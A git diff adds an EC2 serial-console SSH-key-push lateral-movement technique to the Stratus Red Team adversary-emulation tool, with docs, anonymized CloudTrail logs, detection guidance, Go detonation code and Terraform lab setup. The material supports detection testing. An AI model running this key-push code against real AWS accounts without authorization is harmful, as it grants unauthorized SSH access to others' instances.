diff --git a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md
new file mode 100755
index 00000000..c71b8565
--- /dev/null
+++ b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md
@@ -0,0 +1,277 @@
+---
+title: Usage of EC2 Serial Console to push SSH public key
+---
+
+# Usage of EC2 Serial Console to push SSH public key
+
+ slow
+ idempotent
+
+Platform: AWS
+
+## MITRE ATT&CK Tactics
+
+
+- Lateral Movement
+
+## Description
+
+
+Simulates an attacker using EC2 Instance Connect to push an SSH public key to multiple EC2 instances, using SendSerialConsoleSSHPublicKey
. This allows anyone
+with the corresponding private key to connect directly to the systems via SSH, assuming they have appropriate network connectivity.
+
+Warm-up:
+
+- Create multiple EC2 instances and a VPC (takes a few minutes).
+
+Detonation:
+
+- Adds a public SSH key to the EC2 instances using SendSerialConsoleSSHPublicKey
.
+
+References:
+
+- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html
+- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
+- https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf
+- https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/
+- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate aws.lateral-movement.ec2-serial-console-send-ssh-public-key
+```
+## Detection
+
+
+Identify, through CloudTrail's SendSerialConsoleSSHPublicKey
event, when a user is adding an SSH key to EC2 instances.
+
+
+
+## Detonation logs new!
+
+The following CloudTrail events are generated when this technique is detonated[^1]:
+
+
+- `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
+
+- `ec2:EnableSerialConsoleAccess`
+
+
+??? "View raw detonation logs"
+
+ ```json hl_lines="6 57 109 161"
+
+ [
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "37ba412b-f943-44f2-ae48-4527f6e789d9",
+ "eventName": "EnableSerialConsoleAccess",
+ "eventSource": "ec2.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:22Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.10",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "e110338f-cc06-4284-bf16-6528a7df1561",
+ "requestParameters": {
+ "EnableSerialConsoleAccessRequest": ""
+ },
+ "responseElements": {
+ "EnableSerialConsoleAccessResponse": {
+ "requestId": "e110338f-cc06-4284-bf16-6528a7df1561",
+ "serialConsoleAccessEnabled": true,
+ "xmlns": "http://ec2.amazonaws.com/doc/2016-11-15/"
+ }
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ }
+ },
+ "type": "AssumedRole"
+ }
+ },
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "787b2464-f27b-4d4c-91bc-6396f2297d0e",
+ "eventName": "SendSerialConsoleSSHPublicKey",
+ "eventSource": "ec2-instance-connect.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:23Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.08",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "c74b1e77-bc91-4174-b297-d06a71c89abf",
+ "requestParameters": {
+ "instanceId": "i-EFCb4e480CAbc4CF9",
+ "monitorMode": false,
+ "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu",
+ "serialPort": 0
+ },
+ "responseElements": {
+ "requestId": "c74b1e77-bc91-4174-b297-d06a71c89abf",
+ "success": true
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ },
+ "webIdFederationData": {}
+ },
+ "type": "AssumedRole"
+ }
+ },
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "e49972cb-b394-43e2-aab5-602f1fb56f85",
+ "eventName": "SendSerialConsoleSSHPublicKey",
+ "eventSource": "ec2-instance-connect.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:23Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.08",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "d392c0ca-351f-472f-9ca3-b411beb9df9c",
+ "requestParameters": {
+ "instanceId": "i-B2ABDCa5b78E0f1dd",
+ "monitorMode": false,
+ "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu",
+ "serialPort": 0
+ },
+ "responseElements": {
+ "requestId": "d392c0ca-351f-472f-9ca3-b411beb9df9c",
+ "success": true
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ },
+ "webIdFederationData": {}
+ },
+ "type": "AssumedRole"
+ }
+ },
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "f4dc86c9-6b22-4643-a0e8-fcb97fcfae68",
+ "eventName": "SendSerialConsoleSSHPublicKey",
+ "eventSource": "ec2-instance-connect.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:22Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.08",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "88c8e41e-7754-4377-983f-140f8ca5617e",
+ "requestParameters": {
+ "instanceId": "i-D46eD8FCdefED5aAE",
+ "monitorMode": false,
+ "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu",
+ "serialPort": 0
+ },
+ "responseElements": {
+ "requestId": "88c8e41e-7754-4377-983f-140f8ca5617e",
+ "success": true
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ },
+ "webIdFederationData": {}
+ },
+ "type": "AssumedRole"
+ }
+ }
+ ]
+ ```
+
+[^1]: These logs have been gathered from a real detonation of this technique in a test environment using [Grimoire](https://github.com/DataDog/grimoire), and anonymized using [LogLicker](https://github.com/Permiso-io-tools/LogLicker).
diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md
index a66dc9d5..5145dee1 100755
--- a/docs/attack-techniques/AWS/index.md
+++ b/docs/attack-techniques/AWS/index.md
@@ -85,6 +85,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT
## Lateral Movement
+- [Usage of EC2 Serial Console to push SSH public key](./aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md)
+
- [Usage of EC2 Instance Connect on multiple instances](./aws.lateral-movement.ec2-instance-connect.md)
diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md
index be75c57b..40d1f63e 100755
--- a/docs/attack-techniques/list.md
+++ b/docs/attack-techniques/list.md
@@ -38,6 +38,7 @@ This page contains the list of all Stratus Attack Techniques.
| [S3 Ransomware through client-side encryption](./AWS/aws.impact.s3-ransomware-client-side-encryption.md) | [AWS](./AWS/index.md) | Impact |
| [S3 Ransomware through individual file deletion](./AWS/aws.impact.s3-ransomware-individual-deletion.md) | [AWS](./AWS/index.md) | Impact |
| [Console Login without MFA](./AWS/aws.initial-access.console-login-without-mfa.md) | [AWS](./AWS/index.md) | Initial Access |
+| [Usage of EC2 Serial Console to push SSH public key](./AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md) | [AWS](./AWS/index.md) | Lateral Movement |
| [Usage of EC2 Instance Connect on multiple instances](./AWS/aws.lateral-movement.ec2-instance-connect.md) | [AWS](./AWS/index.md) | Lateral Movement |
| [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence |
| [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation |
diff --git a/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json b/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json
new file mode 100644
index 00000000..2fa0ce23
--- /dev/null
+++ b/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json
@@ -0,0 +1,209 @@
+[
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "37ba412b-f943-44f2-ae48-4527f6e789d9",
+ "eventName": "EnableSerialConsoleAccess",
+ "eventSource": "ec2.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:22Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.10",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "e110338f-cc06-4284-bf16-6528a7df1561",
+ "requestParameters": {
+ "EnableSerialConsoleAccessRequest": ""
+ },
+ "responseElements": {
+ "EnableSerialConsoleAccessResponse": {
+ "requestId": "e110338f-cc06-4284-bf16-6528a7df1561",
+ "serialConsoleAccessEnabled": true,
+ "xmlns": "http://ec2.amazonaws.com/doc/2016-11-15/"
+ }
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ }
+ },
+ "type": "AssumedRole"
+ }
+ },
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "787b2464-f27b-4d4c-91bc-6396f2297d0e",
+ "eventName": "SendSerialConsoleSSHPublicKey",
+ "eventSource": "ec2-instance-connect.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:23Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.08",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "c74b1e77-bc91-4174-b297-d06a71c89abf",
+ "requestParameters": {
+ "instanceId": "i-EFCb4e480CAbc4CF9",
+ "monitorMode": false,
+ "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu",
+ "serialPort": 0
+ },
+ "responseElements": {
+ "requestId": "c74b1e77-bc91-4174-b297-d06a71c89abf",
+ "success": true
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ },
+ "webIdFederationData": {}
+ },
+ "type": "AssumedRole"
+ }
+ },
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "e49972cb-b394-43e2-aab5-602f1fb56f85",
+ "eventName": "SendSerialConsoleSSHPublicKey",
+ "eventSource": "ec2-instance-connect.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:23Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.08",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "d392c0ca-351f-472f-9ca3-b411beb9df9c",
+ "requestParameters": {
+ "instanceId": "i-B2ABDCa5b78E0f1dd",
+ "monitorMode": false,
+ "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu",
+ "serialPort": 0
+ },
+ "responseElements": {
+ "requestId": "d392c0ca-351f-472f-9ca3-b411beb9df9c",
+ "success": true
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ },
+ "webIdFederationData": {}
+ },
+ "type": "AssumedRole"
+ }
+ },
+ {
+ "awsRegion": "cniso-east-3r",
+ "eventCategory": "Management",
+ "eventID": "f4dc86c9-6b22-4643-a0e8-fcb97fcfae68",
+ "eventName": "SendSerialConsoleSSHPublicKey",
+ "eventSource": "ec2-instance-connect.amazonaws.com",
+ "eventTime": "2024-11-26T15:35:22Z",
+ "eventType": "AwsApiCall",
+ "eventVersion": "1.08",
+ "managementEvent": true,
+ "readOnly": false,
+ "recipientAccountId": "844015365555",
+ "requestID": "88c8e41e-7754-4377-983f-140f8ca5617e",
+ "requestParameters": {
+ "instanceId": "i-D46eD8FCdefED5aAE",
+ "monitorMode": false,
+ "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu",
+ "serialPort": 0
+ },
+ "responseElements": {
+ "requestId": "88c8e41e-7754-4377-983f-140f8ca5617e",
+ "success": true
+ },
+ "sourceIPAddress": "201.252.42.03",
+ "tlsDetails": {
+ "cipherSuite": "TLS_AES_128_GCM_SHA256",
+ "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com",
+ "tlsVersion": "TLSv1.3"
+ },
+ "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0",
+ "userIdentity": {
+ "accessKeyId": "ASIA2HJRQF0DHNYEE9N1",
+ "accountId": "844015365555",
+ "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com",
+ "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com",
+ "sessionContext": {
+ "attributes": {
+ "creationDate": "2024-11-26T15:14:58Z",
+ "mfaAuthenticated": "false"
+ },
+ "sessionIssuer": {
+ "accountId": "844015365555",
+ "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff",
+ "principalId": "AROAEMHZD694LU95MUYOP",
+ "type": "Role",
+ "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff"
+ },
+ "webIdFederationData": {}
+ },
+ "type": "AssumedRole"
+ }
+ }
+]
\ No newline at end of file
diff --git a/docs/index.yaml b/docs/index.yaml
index e87c594a..5779854d 100644
--- a/docs/index.yaml
+++ b/docs/index.yaml
@@ -211,6 +211,13 @@ AWS:
platform: AWS
isIdempotent: true
Lateral Movement:
+ - id: aws.lateral-movement.ec2-serial-console-send-ssh-public-key
+ name: Usage of EC2 Serial Console to push SSH public key
+ isSlow: true
+ mitreAttackTactics:
+ - Lateral Movement
+ platform: AWS
+ isIdempotent: true
- id: aws.lateral-movement.ec2-instance-connect
name: Usage of EC2 Instance Connect on multiple instances
isSlow: true
diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go
new file mode 100644
index 00000000..91daa0a3
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go
@@ -0,0 +1,128 @@
+package aws
+
+import (
+ "context"
+ _ "embed"
+ "fmt"
+ "github.com/aws/aws-sdk-go-v2/service/ec2"
+ "github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
+ "log"
+ "strconv"
+ "strings"
+ "time"
+)
+
+//go:embed my_key.pub
+var publicSSHKey string
+
+//go:embed main.tf
+var tf []byte
+
+func init() {
+ stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
+ ID: "aws.lateral-movement.ec2-serial-console-send-ssh-public-key",
+ FriendlyName: "Usage of EC2 Serial Console to push SSH public key",
+ IsSlow: true,
+ Description: `
+Simulates an attacker using EC2 Instance Connect to push an SSH public key to multiple EC2 instances, using SendSerialConsoleSSHPublicKey
. This allows anyone
+with the corresponding private key to connect directly to the systems via SSH, assuming they have appropriate network connectivity.
+
+Warm-up:
+
+- Create multiple EC2 instances and a VPC (takes a few minutes).
+
+Detonation:
+
+- Adds a public SSH key to the EC2 instances using SendSerialConsoleSSHPublicKey
.
+
+References:
+
+- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html
+- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
+- https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf
+- https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/
+- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/
+`,
+ Detection: `
+Identify, through CloudTrail's SendSerialConsoleSSHPublicKey
event, when a user is adding an SSH key to EC2 instances.
+`,
+ Platform: stratus.AWS,
+ PrerequisitesTerraformCode: tf,
+ IsIdempotent: true,
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.LateralMovement},
+ Detonate: detonate,
+ Revert: revert,
+ })
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection())
+ ec2instanceconnectClient := ec2instanceconnect.NewFromConfig(providers.AWS().GetConnection())
+ instanceIDs := strings.Split(params["instance_ids"], ",")
+
+ // Enable serial console access
+ log.Println("Enabling serial console access at the region level")
+ if err := setSerialConsoleEnabled(ec2Client, true); err != nil {
+ return fmt.Errorf("failed to disable serial console access: %v", err)
+ }
+
+ log.Println("Sending SSH public key to " + strconv.Itoa(len(instanceIDs)) + " EC2 instances via serial console")
+ for _, instanceID := range instanceIDs {
+ cleanInstanceID := strings.Trim(instanceID, " \"\n\r")
+ err := sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey)
+ if err != nil {
+ if strings.Contains(err.Error(), "SerialConsoleSessionLimitExceededException") {
+ log.Printf("Serial console session limit exceeded for instance %s. Retrying after waiting 60s...", cleanInstanceID)
+ time.Sleep(60 * time.Second)
+ err = sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey)
+ }
+ if err != nil {
+ return fmt.Errorf("failed to send SSH public key via serial console to instance %s: %v", cleanInstanceID, err)
+ }
+ }
+
+ log.Printf("SSH public key successfully added to instance %s via serial console", cleanInstanceID)
+ }
+
+ return nil
+}
+
+func revert(params map[string]string, providers stratus.CloudProviders) error {
+ // Serial console access was already enabled before running Stratus Red Team. Nothing to do
+ if params["serial_console_access_initial_value"] == "true" {
+ log.Println("Serial console access was already enabled before running Stratus Red Team. Keeping it enabled")
+ return nil
+ }
+
+ // Serial console access was disabled before running Stratus Red Team. Since the detonation enabled it,
+ // and it's a region-wide setting, we now need to revert it back to its original value (false)
+ ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection())
+ log.Println("Serial console access was disabled before running Stratus Red Team. Disabling it again.")
+ if err := setSerialConsoleEnabled(ec2Client, false); err != nil {
+ return fmt.Errorf("failed to disable serial console access: %v", err)
+ }
+
+ return nil
+}
+
+// Utility functions
+func sendSerialConsoleSSHPublicKey(ec2instanceconnectClient *ec2instanceconnect.Client, instanceId string, sshPublicKey string) error {
+ _, err := ec2instanceconnectClient.SendSerialConsoleSSHPublicKey(context.Background(), &ec2instanceconnect.SendSerialConsoleSSHPublicKeyInput{
+ InstanceId: &instanceId,
+ SSHPublicKey: &sshPublicKey,
+ })
+
+ return err
+}
+
+func setSerialConsoleEnabled(ec2Client *ec2.Client, enabled bool) error {
+ if enabled {
+ _, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{})
+ return err
+ } else {
+ _, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{})
+ return err
+ }
+}
diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf
new file mode 100644
index 00000000..4a5ea099
--- /dev/null
+++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf
@@ -0,0 +1,135 @@
+terraform {
+ required_providers {
+ aws = {
+ source = "hashicorp/aws"
+ version = "~> 4.0"
+ }
+ }
+}
+
+provider "aws" {
+ skip_region_validation = true
+ skip_credentials_validation = true
+ default_tags {
+ tags = {
+ StratusRedTeam = true
+ }
+ }
+}
+
+locals {
+ resource_prefix = "stratus-red-team-ec2-serialconsole-ssh-lateral-movement"
+}
+
+variable "instance_count" {
+ description = "Number of instances to create"
+ default = 3
+}
+
+data "aws_availability_zones" "available" {
+ state = "available"
+}
+
+data "aws_ec2_serial_console_access" "current" {}
+
+module "vpc" {
+ source = "terraform-aws-modules/vpc/aws"
+ version = "~> 3.0"
+
+ name = "${local.resource_prefix}-vpc"
+ cidr = "10.0.0.0/16"
+
+ azs = [data.aws_availability_zones.available.names[0]]
+ private_subnets = ["10.0.1.0/24"]
+ public_subnets = ["10.0.128.0/24"]
+
+ map_public_ip_on_launch = false
+ enable_nat_gateway = true
+
+ tags = {
+ StratusRedTeam = true
+ }
+}
+
+data "aws_ami" "amazon-2" {
+ most_recent = true
+
+ filter {
+ name = "name"
+ values = ["amzn2-ami-hvm-*-x86_64-ebs"]
+ }
+ owners = ["amazon"]
+}
+
+resource "aws_network_interface" "iface" {
+ count = var.instance_count
+ subnet_id = module.vpc.private_subnets[0]
+
+ private_ips = [format("10.0.1.%d", count.index + 10)]
+}
+
+resource "aws_iam_role" "instance-role" {
+ name = "${local.resource_prefix}-role"
+ path = "/"
+
+ assume_role_policy = <